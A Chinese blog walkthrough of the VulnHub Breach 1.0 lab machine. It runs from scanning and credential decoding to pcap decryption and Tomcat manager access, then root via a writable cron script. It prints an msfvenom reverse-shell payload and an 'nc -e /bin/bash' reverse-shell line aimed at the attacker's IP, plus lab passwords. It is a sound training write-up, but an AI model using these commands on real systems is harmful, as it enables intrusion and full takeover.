vulnhub-Breach_1.0

  • Post author:
  • Post category:其他


vulnhub-Breach_1.0

一、靶机搭建

靶机下载链接:https://www.vulnhub.com/entry/breach-1,152/

看一下下载靶机带者的文件:readme

发现虚拟机配置了一个静态IP地址(192.168.110.140),因此我们需要将仅主机适配器配置到此子网。

使用靶机自带的桥接网络,物理机(攻击机)需要把网段配为192.168.110.0。

或者使用NAT网络模式,我们靶机和攻击机应该都处于192.168.110.0段中。

breach靶机ip:192.168.110.140

kali攻击机ip:192.168.110.50

二、信息收集

arp-scan 192.168.110.0/24

nmap -sS -Pn -sV -p 0-65535 192.168.110.140

扫描了很久,几乎所有的端口都开了,不知道是什么操作。还是先从常规的web端口下手吧。

访问url:

http://192.168.110.140:80

在源代码中找到一串可疑的加密,试着解密一下

base64二次解码得到:pgibbons:damnitfeel$goodtobeagang$ta

扫描一下目录:http://192.168.110.140/

没有找到啥有用的

进入网站随便乱点了一下,找到一个登陆后台。

三、漏洞利用

进入后台登陆页面,看到登陆页面,下意识试了一下弱密码爆破。啥也没有,想多了。

好像前面那串base64加密像是账号密码

账号:pgibbons

密码:damnitfeel$goodtobeagang$ta

又到了找不同,哦不,信息收集的阶段了

首先看见url:

http://192.168.110.140/impresscms/modules/profile/index.php?uid=2

就顺手把uid参数改一下为:


http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

呕吼,一个平行越权漏洞,也没啥用,职业病犯了。

这里保存一份SSL证书文件,下载下来看看,查了一下.keystore是存储公私密钥的一种文件格式

url:192.168.110.140/.keystore

HOME目录下有个pcap文件url,也把它下下来,.pcap是wireshark流量包文件,这里还告诉了:storepassword和keypassword都设置为“tomcat”

url:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

使用wireshark打开下载的pacp。发现包的内容是经过SSL加密

所以我们需要把.pacp文件解密,变成明文,所以就得用的上第一个下载的ssl证书文件:keystore,需要把证书转化成p12格式才可以解析,然后再导入wireshark中。

查看一下keystore密钥库中的全部证书,密钥库口令为:tomcat

keytool -list -keystore keystore

从密钥库导出.p12证书,口令为:tomcat

将.p12证书导入wireshark中

在Wireshark中打开_SSL_test_phase1.pcap流量包文件,选择菜单:编辑–首选项–Protocols–TLS,点击右边的Edit

PS:很多教程都是SSL,不是TLS,我查了一下,19版本以后就没有ssl协议了,最新版wireshark已经 ssl 改为 tls,

成功解密数据包,发现攻击者访问的端口为8443:

https://192.168.110.140:8443/_M@nag3Me/html

这里有个可疑参数:
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC\r\n
base64解密参数试试,得到下面东西,有点像上面解密得到的账号密码,先放着。
tomcat:Tt\5D8F(#!*u=G)4m7zB

访问一下得到的url:

https://192.168.110.140:8443/_M@nag3Me/html

直接访问,因为我们没有相应的证书,所以不能访问

burp上有各种证书,可以通过检测。挂上代理,使用burp放包

有一个登录框,尝试一下,前面解密出来的账号密码:tomcat:Tt\5D8F(#!*u=G)4m7zB

ok,进去了

这里有个上传文件的功能点,尝试上传一下文件

菜刀连接失败, 发现的问题:上传的菜刀马,一下子就会消失,文件被删除,须要从新上传war包才可以继续使用菜刀,主机可能有杀软或者杀web shell工具。解决方法:bash反弹一个shell出来

使用msf生成一个war格式的反弹shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.50 lport=4444 -f war -o test.war

上传文件,发现路径中多了个test123文件

开启监听

点击执行test123程序,反弹shell

进入shell模式输入:python -c ‘import pty;pty.spawn(“/bin/bash”)’

# python调用本地shell实现交互式命令行

发现不是管理员权限,接下来就是提权了

提权

发现在/var/www/5446目录下有两个php文件

打开php文件,发现mysql可以使用root账号免密登录,

查看用户名和密码:select user,password from mysql.user;

得到milton用户的哈希密码,md5解密后可得到:


milton









thelaststraw

既然得到了milton账号,就去登录试试,查看一下信息,没什么有用信息。

那就得想一下其他办法了,使用命令:history

查看查看一下历史命令,发现blumbergh和root用户都曾登录过



http://192.168.110.140/images/

这个目录我曾发现有六张图片,还没用上,现在下载打开来看看

strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中。找到可能的密码或提示:发现唯一的单词是:coffeestains

好吧,这一步我不清楚为什么,为什么在图片里,为什么完整的单词就是密码。

或者使用图片查看工具


exiftool


查看一下图片,得到可能的密码为:coffeestains

尝试登陆账号:blumbergh:coffeestains

真的这一步提权,我真的没搞懂,很梦幻。

再查看一下历史命令,发现了/usr/share/cleanup和tidyup.sh脚本文件

查看一下和tidyup.sh脚本文件

这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删除,需要重新上传。查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以

查看sudo权限,执行sudo -l:发现用户能够以root权限无密码执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh

ps:tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。


通过crontab的计划任务,反弹root shell

1. 向tidyup.sh中写入反弹shell命令

tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

echo “nc -e /bin/bash 192.168.110.50 4444” > shell.txt

再使用tee命令将shell.txt内容输出到tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看tidyup.sh文件写入成功:cat /usr/share/cleanup/tidyup.sh

2.在kali攻击机中开启nc监听等待反弹shell,因为是定时任务,这里需要等待3分钟执行反弹,得到权限是root, 成功提权。

参考链接:

kali渗透综合靶机(十五)–Breach-1.0靶机 – JavaShuo


Vulnhub-Breach1.0_CKCsec的博客-CSDN博客

声明:

本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。



版权声明:本文为HEAVEN569原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。